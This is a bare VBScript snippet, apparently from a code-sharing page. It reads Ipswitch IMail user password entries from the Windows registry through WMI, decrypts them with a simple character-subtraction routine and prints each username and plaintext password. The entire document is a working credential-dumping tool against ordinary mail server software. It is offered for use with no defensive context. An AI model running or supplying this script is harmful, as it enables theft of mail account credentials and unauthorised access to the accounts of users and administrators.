Copy Code code as follows:
On Error Resume Next
Const HKEY_LOCAL_MACHINE = &H80000002
StrComputer = "."
Set oreg=getobject ("winmgmts:{impersonationlevel=impersonate}!\\" &_
StrComputer & "\root\default:StdRegProv")
strKeyPath = "Software\ipswitch\imail\domains"
Oreg.enumkey HKEY_LOCAL_MACHINE, strKeyPath, Arrsubkeys
For each subkey in Arrsubkeys
WScript.Echo "Domain:" &subkey
strKeyPath2 = strkeypath& "\" &subkey& "\users"
Oreg.enumkey HKEY_LOCAL_MACHINE, STRKEYPATH2, ARRSUBKEYS2
For each subkey2 in ArrSubKeys2
strkeypath3=strkeypath2& "\" &subkey2
strValueName = "Password"
Oreg.getstringvalue Hkey_local_machine,strkeypath3,strvaluename,strvalue
If Len (Subkey2) and Len (strvalue) Then
WScript.Echo Subkey2 & ":" & Decrypt (Subkey2,strvalue)
End If
Next
Next
function Decrypt (Name,pass)
While Len (name) <len (pass)/2
Name=name&name
Wend
For I=0 to Len (pass)/2-1
P=mid (pass,2*i+1,2)
p= "&h" &p
N=mid (name,i+1,1)
DECRYPT=DECRYPT&CHR (CLng (p)-ASC (n))
Next
End Function
